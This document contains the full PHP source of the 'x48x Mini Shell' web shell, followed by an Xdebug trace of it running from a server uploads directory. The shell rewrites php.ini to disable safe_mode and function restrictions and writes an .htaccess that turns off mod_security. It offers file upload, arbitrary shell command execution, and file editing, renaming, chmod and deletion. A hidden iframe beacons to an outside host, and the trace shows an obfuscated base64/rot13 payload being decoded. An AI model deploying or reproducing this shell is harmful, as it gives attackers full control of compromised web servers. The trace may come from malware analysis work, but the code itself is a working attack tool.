Jump to:
Screenshot
Attributes
Encoding
<?php
if (file_exists("php.ini")) {
} else {
$img = fopen('php.ini', 'w');
$sec = "safe_mode = OFF\ndisable_funtions = NONE";
fwrite($img, $sec);
fclose($img);
}
if (file_exists(".htaccess")) {
} else {
$img2 = fopen('.htaccess', 'w');
$sec2 = "<IfModule mod_security.c>\n\t\tSecFilterEngine Off\n\t\tSecFilterScanPOST Off\n\t\t</IfModule>";
fwrite($img2, $sec2);
fclose($img2);
}
$inids = @ini_get("disable_functions");
$liatds = !empty($ds) ? "<font color='purple'>{$inids}</font>" : "<b><font color='white'>Aman cuk :v</font></b>";
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
echo "<!DOCTYPE HTML>\n<html>\n<head>\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\n<title>x48x</title>\n<style>\nbody{\n\tfont-family: \"Racing Sans One\", cursive;\n\tbackground-image: url(\"https://pbs.twimg.com/media/C4S23EeVYAESumU.jpg\");\n\tcolor:purple;\n\tbackground-attachment:fixed;\n\tbackground-repeat:no-repeat;\n\tbackground-position:center;\n\tbackground-color:transparan;\n\t-webkit-background-size: 90% 100%;\n}\n#content tr:hover{\nbackground-color: pink;\ntext-shadow:0px 0px 10px #fff;\n}\n#content .first{\nbackground-color: pink;\n}\ntable{\nborder: 1px #000000 dotted;\n}\na{\ncolor:white;\ntext-decoration: none;\n}\na:hover{\ncolor:blue;\ntext-shadow:0px 0px 10px #ffffff;\n}\ninput,select,textarea{\nborder: 1px #000000 solid;\n-moz-border-radius: 5px;\n-webkit-border-radius:5px;\nborder-radius:5px;\n}\n</style>\n</head>\n<body>\n<h1><center><font color=\"pink\">x48x Mini Shell</font></center></h1>\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td>";
echo "Disable Functions: {$liatds}";
echo "<br><font color=\"purple\">Path :</font> ";
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
$a = true;
echo "<a href=\"?path=/\">/</a>";
continue;
}
if ($pat == '') {
continue;
}
echo "<a href=\"?path=";
for ($i = 0; $i <= $id; $i++) {
echo "{$paths[$i]}";
if ($i != $id) {
echo "/";
}
}
echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo "<font color=\"white\">Upload Berhasil</font><br />";
} else {
echo "<font color=\"purple\">Upload Gagal</font><br/>";
}
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\n<font color=\"purple\">File Upload :</font> <input type=\"file\" name=\"file\" />\n<input type=\"submit\" value=\"upload\" />\n</form>";
echo "<form method='post'>\n<font color='purple'>Command :</font>\n<input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>\n</form>\n</td></tr>";
if ($_POST['execmd']) {
echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>" . exe($_POST['cmd']) . "</textarea></center>";
}
echo "<br></td></tr>";
if (isset($_GET['filesrc'])) {
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo "</tr></td></table><br />";
echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'chmod') {
if (isset($_POST['perm'])) {
if (chmod($_POST['path'], $_POST['perm'])) {
echo "<font color=\"white\">Change Permission Berhasil</font><br/>";
} else {
echo "<font color=\"purple\">Change Permission Gagal</font><br />";
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo "<font color=\"white\">Ganti Nama Berhasil</font><br/>";
} else {
echo "<font color=\"purple\">Ganti Nama Gagal</font><br />";
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo "<font color=\"white\">Berhasil Edit File</font><br/>";
} else {
echo "<font color=\"purple\">Gagal Edit File</font><br/>";
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo "</center>";
} else {
echo "</table><br/><center>";
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if (rmdir($_POST['path'])) {
echo "<font color=\"white\">Directory Terhapus</font><br/>";
} else {
echo "<font color=\"purple\">Directory Gagal Terhapus </font><br/>";
}
} elseif ($_POST['type'] == 'file') {
if (unlink($_POST['path'])) {
echo "<font color=\"white\">File Terhapus</font><br/>";
} else {
echo "<font color=\"purple\">File Gagal Dihapus</font><br/>";
}
}
}
echo "</center>";
$scandir = scandir($path);
echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr class=\"first\">\n<td><center>Name</peller></center></td>\n<td><center>Size</peller></center></td>\n<td><center>Permission</peller></center></td>\n<td><center>Modify</peller></center></td>\n</tr>";
foreach ($scandir as $dir) {
if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
continue;
}
echo '<tr>
<td><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
<td><center>--</center></td>
<td><center>';
if (is_writable($path . '/' . $dir)) {
echo "<font color=\"pink\">";
} elseif (!is_readable($path . '/' . $dir)) {
echo "<font color=\"purple\">";
}
echo perms($path . '/' . $dir);
if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
echo "</font>";
}
echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . $dir . '">
<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
foreach ($scandir as $file) {
if (!is_file($path . '/' . $file)) {
continue;
}
$size = filesize($path . '/' . $file) / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
echo '<tr>
<td><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
<td><center>' . $size . '</center></td>
<td><center>';
if (is_writable($path . '/' . $file)) {
echo "<font color=\"pink\">";
} elseif (!is_readable($path . '/' . $file)) {
echo "<font color=\"purple\">";
}
echo perms($path . '/' . $file);
if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
echo "</font>";
}
echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . $file . '">
<input type="hidden" name="path" value="' . $path . '/' . $file . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo "</table>\n</div>";
}
echo "<center><br/><font color=\"pink\">x48x Mini Shell</font><br>";
echo "[ <a href='?path={$path}&go=cabs'>LogOut</a> ]\n</center>\n</body>\n</html>";
$command = "JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8=";
eval /* PHPDeobfuscator eval output */ {
$loggs = '<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>';
print "<iframe style=\"display:none;\" src=\"http://reponime.cf/log.php\"></iframe>";
};
if ($_GET['go'] == 'cabs') {
echo "<form action=\"\" method=\"post\">";
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "<meta http-equiv=\"refresh\" content=\"3\" />";
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
// Socket
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
// Group
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
// World
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}
//////all functions disini tempatnya/////
function exe($cmd)
{
if (function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('exec')) {
@exec($cmd, $results);
$buff = "";
foreach ($results as $result) {
$buff .= $result;
}
return $buff;
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:28:10.064326]
1 0 1 0.000151 393528
1 3 0 0.000496 461992 {main} 1 /var/www/html/uploads/shaban.phtml 0 0
2 4 0 0.000514 461992 file_exists 0 /var/www/html/uploads/shaban.phtml 2 1 'php.ini'
2 4 1 0.000537 462032
2 4 R FALSE
2 5 0 0.000552 461992 fopen 0 /var/www/html/uploads/shaban.phtml 4 2 'php.ini' 'w'
2 5 1 0.000583 462624
2 5 R resource(4) of type (stream)
1 A /var/www/html/uploads/shaban.phtml 4 $img = resource(4) of type (stream)
1 A /var/www/html/uploads/shaban.phtml 5 $sec = 'safe_mode = OFF\ndisable_funtions = NONE'
2 6 0 0.000626 462552 fwrite 0 /var/www/html/uploads/shaban.phtml 7 2 resource(4) of type (stream) 'safe_mode = OFF\ndisable_funtions = NONE'
2 6 1 0.000649 462616
2 6 R 39
2 7 0 0.000663 462552 fclose 0 /var/www/html/uploads/shaban.phtml 8 1 resource(4) of type (stream)
2 7 1 0.000678 462160
2 7 R TRUE
2 8 0 0.000691 462128 file_exists 0 /var/www/html/uploads/shaban.phtml 9 1 '.htaccess'
2 8 1 0.000706 462168
2 8 R TRUE
2 9 0 0.000719 462128 ini_get 0 /var/www/html/uploads/shaban.phtml 18 1 'disable_functions'
2 9 1 0.000733 462608
2 9 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1 A /var/www/html/uploads/shaban.phtml 18 $inids = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1 A /var/www/html/uploads/shaban.phtml 19 $liatds = '<b><font color=\'white\'>Aman cuk :v</font></b>'
2 10 0 0.000793 462576 get_magic_quotes_gpc 0 /var/www/html/uploads/shaban.phtml 20 0
2 10 1 0.000806 462576
2 10 R FALSE
2 11 0 0.000821 462576 getcwd 0 /var/www/html/uploads/shaban.phtml 76 0
2 11 1 0.000833 462624
2 11 R '/var/www/html/uploads'
1 A /var/www/html/uploads/shaban.phtml 76 $path = '/var/www/html/uploads'
2 12 0 0.000858 462624 str_replace 0 /var/www/html/uploads/shaban.phtml 78 3 '\\' '/' '/var/www/html/uploads'
2 12 1 0.000873 462720
2 12 R '/var/www/html/uploads'
1 A /var/www/html/uploads/shaban.phtml 78 $path = '/var/www/html/uploads'
2 13 0 0.000897 462624 explode 0 /var/www/html/uploads/shaban.phtml 79 2 '/' '/var/www/html/uploads'
2 13 1 0.000912 463200
2 13 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/shaban.phtml 79 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/shaban.phtml 81 $id = 0
1 A /var/www/html/uploads/shaban.phtml 83 $a = TRUE
1 A /var/www/html/uploads/shaban.phtml 81 $id = 1
1 A /var/www/html/uploads/shaban.phtml 89 $i = 0
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 81 $id = 2
1 A /var/www/html/uploads/shaban.phtml 89 $i = 0
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 81 $id = 3
1 A /var/www/html/uploads/shaban.phtml 89 $i = 0
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 81 $id = 4
1 A /var/www/html/uploads/shaban.phtml 89 $i = 0
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
1 A /var/www/html/uploads/shaban.phtml 89 $i++
2 14 0 0.001164 463128 scandir 0 /var/www/html/uploads/shaban.phtml 188 1 '/var/www/html/uploads'
2 14 1 0.001199 463784
2 14 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'php.ini', 5 => 'prepend.php', 6 => 'shaban.phtml']
1 A /var/www/html/uploads/shaban.phtml 188 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'php.ini', 5 => 'prepend.php', 6 => 'shaban.phtml']
2 15 0 0.001243 463800 is_dir 0 /var/www/html/uploads/shaban.phtml 198 1 '/var/www/html/uploads/.'
2 15 1 0.001260 463864
2 15 R TRUE
2 16 0 0.001274 463832 is_dir 0 /var/www/html/uploads/shaban.phtml 198 1 '/var/www/html/uploads/..'
2 16 1 0.001289 463880
2 16 R TRUE
2 17 0 0.001301 463840 is_dir 0 /var/www/html/uploads/shaban.phtml 198 1 '/var/www/html/uploads/.htaccess'
2 17 1 0.001316 463880
2 17 R FALSE
2 18 0 0.001330 463840 is_dir 0 /var/www/html/uploads/shaban.phtml 198 1 '/var/www/html/uploads/data'
2 18 1 0.001344 463880
2 18 R TRUE
2 19 0 0.001357 463840 is_writable 0 /var/www/html/uploads/shaban.phtml 203 1 '/var/www/html/uploads/data'
2 19 1 0.001372 463880
2 19 R TRUE
2 20 0 0.001386 463840 perms 1 /var/www/html/uploads/shaban.phtml 205 1 '/var/www/html/uploads/data'
3 21 0 0.001398 463840 fileperms 0 /var/www/html/uploads/shaban.phtml 278 1 '/var/www/html/uploads/data'
3 21 1 0.001411 463880
3 21 R 16895
2 A /var/www/html/uploads/shaban.phtml 278 $perms = 16895
2 A /var/www/html/uploads/shaban.phtml 294 $info = 'd'
2 A /var/www/html/uploads/shaban.phtml 307 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 308 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 311 $info .= 'x'
2 A /var/www/html/uploads/shaban.phtml 314 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 315 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 318 $info .= 'x'
2 A /var/www/html/uploads/shaban.phtml 321 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 322 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 325 $info .= 'x'
2 20 1 0.001532 463880
2 20 R 'drwxrwxrwx'
2 22 0 0.001546 463840 is_writable 0 /var/www/html/uploads/shaban.phtml 206 1 '/var/www/html/uploads/data'
2 22 1 0.001561 463880
2 22 R TRUE
2 23 0 0.001575 463840 is_dir 0 /var/www/html/uploads/shaban.phtml 198 1 '/var/www/html/uploads/php.ini'
2 23 1 0.001590 463880
2 23 R FALSE
2 24 0 0.001603 463848 is_dir 0 /var/www/html/uploads/shaban.phtml 198 1 '/var/www/html/uploads/prepend.php'
2 24 1 0.001618 463896
2 24 R FALSE
2 25 0 0.001630 463856 is_dir 0 /var/www/html/uploads/shaban.phtml 198 1 '/var/www/html/uploads/shaban.phtml'
2 25 1 0.001644 463896
2 25 R FALSE
2 26 0 0.001657 463840 is_file 0 /var/www/html/uploads/shaban.phtml 225 1 '/var/www/html/uploads/.'
2 26 1 0.001671 463864
2 26 R FALSE
2 27 0 0.001684 463832 is_file 0 /var/www/html/uploads/shaban.phtml 225 1 '/var/www/html/uploads/..'
2 27 1 0.001697 463880
2 27 R FALSE
2 28 0 0.001710 463840 is_file 0 /var/www/html/uploads/shaban.phtml 225 1 '/var/www/html/uploads/.htaccess'
2 28 1 0.001724 463880
2 28 R TRUE
2 29 0 0.001737 463840 filesize 0 /var/www/html/uploads/shaban.phtml 226 1 '/var/www/html/uploads/.htaccess'
2 29 1 0.001750 463880
2 29 R 64
1 A /var/www/html/uploads/shaban.phtml 226 $size = 0.0625
2 30 0 0.001774 463784 round 0 /var/www/html/uploads/shaban.phtml 227 2 0.0625 3
2 30 1 0.001787 463856
2 30 R 0.063
1 A /var/www/html/uploads/shaban.phtml 227 $size = 0.063
1 A /var/www/html/uploads/shaban.phtml 231 $size = '0.063 KB'
2 31 0 0.001829 463880 is_writable 0 /var/www/html/uploads/shaban.phtml 238 1 '/var/www/html/uploads/.htaccess'
2 31 1 0.001845 463920
2 31 R FALSE
2 32 0 0.001858 463880 is_readable 0 /var/www/html/uploads/shaban.phtml 239 1 '/var/www/html/uploads/.htaccess'
2 32 1 0.001873 463920
2 32 R TRUE
2 33 0 0.001886 463880 perms 1 /var/www/html/uploads/shaban.phtml 240 1 '/var/www/html/uploads/.htaccess'
3 34 0 0.001898 463880 fileperms 0 /var/www/html/uploads/shaban.phtml 278 1 '/var/www/html/uploads/.htaccess'
3 34 1 0.001911 463920
3 34 R 33188
2 A /var/www/html/uploads/shaban.phtml 278 $perms = 33188
2 A /var/www/html/uploads/shaban.phtml 288 $info = '-'
2 A /var/www/html/uploads/shaban.phtml 307 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 308 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 311 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 314 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 315 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 318 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 321 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 322 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 325 $info .= '-'
2 33 1 0.002033 463920
2 33 R '-rw-r--r--'
2 35 0 0.002047 463880 is_writable 0 /var/www/html/uploads/shaban.phtml 241 1 '/var/www/html/uploads/.htaccess'
2 35 1 0.002063 463920
2 35 R FALSE
2 36 0 0.002076 463880 is_readable 0 /var/www/html/uploads/shaban.phtml 241 1 '/var/www/html/uploads/.htaccess'
2 36 1 0.002090 463920
2 36 R TRUE
2 37 0 0.002104 463880 is_file 0 /var/www/html/uploads/shaban.phtml 225 1 '/var/www/html/uploads/data'
2 37 1 0.002119 463920
2 37 R FALSE
2 38 0 0.002131 463880 is_file 0 /var/www/html/uploads/shaban.phtml 225 1 '/var/www/html/uploads/php.ini'
2 38 1 0.002145 463920
2 38 R TRUE
2 39 0 0.002158 463880 filesize 0 /var/www/html/uploads/shaban.phtml 226 1 '/var/www/html/uploads/php.ini'
2 39 1 0.002174 463920
2 39 R 39
1 A /var/www/html/uploads/shaban.phtml 226 $size = 0.0380859375
2 40 0 0.002198 463784 round 0 /var/www/html/uploads/shaban.phtml 227 2 0.0380859375 3
2 40 1 0.002211 463856
2 40 R 0.038
1 A /var/www/html/uploads/shaban.phtml 227 $size = 0.038
1 A /var/www/html/uploads/shaban.phtml 231 $size = '0.038 KB'
2 41 0 0.002246 463880 is_writable 0 /var/www/html/uploads/shaban.phtml 238 1 '/var/www/html/uploads/php.ini'
2 41 1 0.002261 463920
2 41 R TRUE
2 42 0 0.002274 463880 perms 1 /var/www/html/uploads/shaban.phtml 240 1 '/var/www/html/uploads/php.ini'
3 43 0 0.002286 463880 fileperms 0 /var/www/html/uploads/shaban.phtml 278 1 '/var/www/html/uploads/php.ini'
3 43 1 0.002299 463920
3 43 R 33188
2 A /var/www/html/uploads/shaban.phtml 278 $perms = 33188
2 A /var/www/html/uploads/shaban.phtml 288 $info = '-'
2 A /var/www/html/uploads/shaban.phtml 307 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 308 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 311 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 314 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 315 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 318 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 321 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 322 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 325 $info .= '-'
2 42 1 0.002419 463920
2 42 R '-rw-r--r--'
2 44 0 0.002433 463880 is_writable 0 /var/www/html/uploads/shaban.phtml 241 1 '/var/www/html/uploads/php.ini'
2 44 1 0.002448 463920
2 44 R TRUE
2 45 0 0.002462 463888 is_file 0 /var/www/html/uploads/shaban.phtml 225 1 '/var/www/html/uploads/prepend.php'
2 45 1 0.002477 463936
2 45 R TRUE
2 46 0 0.002490 463896 filesize 0 /var/www/html/uploads/shaban.phtml 226 1 '/var/www/html/uploads/prepend.php'
2 46 1 0.002503 463936
2 46 R 57
1 A /var/www/html/uploads/shaban.phtml 226 $size = 0.0556640625
2 47 0 0.002526 463792 round 0 /var/www/html/uploads/shaban.phtml 227 2 0.0556640625 3
2 47 1 0.002539 463864
2 47 R 0.056
1 A /var/www/html/uploads/shaban.phtml 227 $size = 0.056
1 A /var/www/html/uploads/shaban.phtml 231 $size = '0.056 KB'
2 48 0 0.002578 464008 is_writable 0 /var/www/html/uploads/shaban.phtml 238 1 '/var/www/html/uploads/prepend.php'
2 48 1 0.002594 464048
2 48 R FALSE
2 49 0 0.002607 464008 is_readable 0 /var/www/html/uploads/shaban.phtml 239 1 '/var/www/html/uploads/prepend.php'
2 49 1 0.002621 464048
2 49 R TRUE
2 50 0 0.002634 464008 perms 1 /var/www/html/uploads/shaban.phtml 240 1 '/var/www/html/uploads/prepend.php'
3 51 0 0.002647 464008 fileperms 0 /var/www/html/uploads/shaban.phtml 278 1 '/var/www/html/uploads/prepend.php'
3 51 1 0.002660 464048
3 51 R 33261
2 A /var/www/html/uploads/shaban.phtml 278 $perms = 33261
2 A /var/www/html/uploads/shaban.phtml 288 $info = '-'
2 A /var/www/html/uploads/shaban.phtml 307 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 308 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 311 $info .= 'x'
2 A /var/www/html/uploads/shaban.phtml 314 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 315 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 318 $info .= 'x'
2 A /var/www/html/uploads/shaban.phtml 321 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 322 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 325 $info .= 'x'
2 50 1 0.002782 464048
2 50 R '-rwxr-xr-x'
2 52 0 0.002795 464008 is_writable 0 /var/www/html/uploads/shaban.phtml 241 1 '/var/www/html/uploads/prepend.php'
2 52 1 0.002811 464048
2 52 R FALSE
2 53 0 0.002823 464008 is_readable 0 /var/www/html/uploads/shaban.phtml 241 1 '/var/www/html/uploads/prepend.php'
2 53 1 0.002838 464048
2 53 R TRUE
2 54 0 0.002851 464008 is_file 0 /var/www/html/uploads/shaban.phtml 225 1 '/var/www/html/uploads/shaban.phtml'
2 54 1 0.002865 464048
2 54 R TRUE
2 55 0 0.002877 464008 filesize 0 /var/www/html/uploads/shaban.phtml 226 1 '/var/www/html/uploads/shaban.phtml'
2 55 1 0.002889 464048
2 55 R 10449
1 A /var/www/html/uploads/shaban.phtml 226 $size = 10.2041015625
2 56 0 0.002912 463904 round 0 /var/www/html/uploads/shaban.phtml 227 2 10.2041015625 3
2 56 1 0.002925 463976
2 56 R 10.204
1 A /var/www/html/uploads/shaban.phtml 227 $size = 10.204
1 A /var/www/html/uploads/shaban.phtml 231 $size = '10.204 KB'
2 57 0 0.002961 464008 is_writable 0 /var/www/html/uploads/shaban.phtml 238 1 '/var/www/html/uploads/shaban.phtml'
2 57 1 0.002975 464048
2 57 R FALSE
2 58 0 0.002989 464008 is_readable 0 /var/www/html/uploads/shaban.phtml 239 1 '/var/www/html/uploads/shaban.phtml'
2 58 1 0.003007 464048
2 58 R TRUE
2 59 0 0.003024 464008 perms 1 /var/www/html/uploads/shaban.phtml 240 1 '/var/www/html/uploads/shaban.phtml'
3 60 0 0.003039 464008 fileperms 0 /var/www/html/uploads/shaban.phtml 278 1 '/var/www/html/uploads/shaban.phtml'
3 60 1 0.003056 464048
3 60 R 33204
2 A /var/www/html/uploads/shaban.phtml 278 $perms = 33204
2 A /var/www/html/uploads/shaban.phtml 288 $info = '-'
2 A /var/www/html/uploads/shaban.phtml 307 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 308 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 311 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 314 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 315 $info .= 'w'
2 A /var/www/html/uploads/shaban.phtml 318 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 321 $info .= 'r'
2 A /var/www/html/uploads/shaban.phtml 322 $info .= '-'
2 A /var/www/html/uploads/shaban.phtml 325 $info .= '-'
2 59 1 0.003176 464048
2 59 R '-rw-rw-r--'
2 61 0 0.003190 464008 is_writable 0 /var/www/html/uploads/shaban.phtml 241 1 '/var/www/html/uploads/shaban.phtml'
2 61 1 0.003206 464048
2 61 R FALSE
2 62 0 0.003219 464008 is_readable 0 /var/www/html/uploads/shaban.phtml 241 1 '/var/www/html/uploads/shaban.phtml'
2 62 1 0.003234 464048
2 62 R TRUE
1 A /var/www/html/uploads/shaban.phtml 267 $command = 'JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8='
2 63 0 0.003268 463944 base64_decode 0 /var/www/html/uploads/shaban.phtml 268 1 'JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8='
2 63 1 0.003288 464136
2 63 R '%�N\n� \020\000�{�\037\026\t��=ӿ�m\t�-\027�R=`s��\0238л\\G\006P�Tt�AV�˱�\030�*UG�w9�s\f1� ��m����C���x;BU\0222,�z\037'
2 64 0 0.003314 464104 str_rot13 0 /var/www/html/uploads/shaban.phtml 268 1 '%�N\n� \020\000�{�\037\026\t��=ӿ�m\t�-\027�R=`s��\0238л\\G\006P�Tt�AV�˱�\030�*UG�w9�s\f1� ��m����C���x;BU\0222,�z\037'
2 64 1 0.003338 464264
